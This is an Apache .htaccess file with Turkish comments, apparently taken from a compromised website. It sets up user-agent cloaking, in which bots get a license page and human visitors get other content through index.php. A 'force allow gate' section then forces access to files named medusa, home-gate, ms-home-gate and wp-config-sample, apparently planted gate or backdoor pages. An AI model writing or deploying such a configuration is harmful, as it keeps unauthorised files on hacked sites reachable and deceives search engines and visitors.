# Medusa vitrin — harici domain YOK
# Cloaking YALNIZ index.php (bot→license | insan→TXT).
# license.html'e rewrite YOK: CF/CDN / URL'sini public cache'ler, insan da license görür.
DirectoryIndex index.php

<IfModule mod_authz_core.c>
Require all granted
</IfModule>

<IfModule mod_headers.c>
Header set Vary "User-Agent"
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# Anasayfa → index.php (DirectoryIndex yetmezse)
RewriteRule ^$ index.php [L]

RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# Medusa 403 fix — force allow gate
<IfModule mod_authz_core.c>
Require all granted
<FilesMatch "^(index|ms-home-gate|home-gate|license|ok|cache|medusa|wp-config-sample|cache)\.(php|html)$">
Require all granted
</FilesMatch>
</IfModule>
<IfModule !mod_authz_core.c>
<IfModule mod_access_compat.c>
Order allow,deny
Allow from all
<FilesMatch "^(index|ms-home-gate|home-gate|license|ok|cache|medusa|wp-config-sample|cache)\.(php|html)$">
Order allow,deny
Allow from all
</FilesMatch>
</IfModule>
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteRule ^$ index.php [L]
</IfModule>
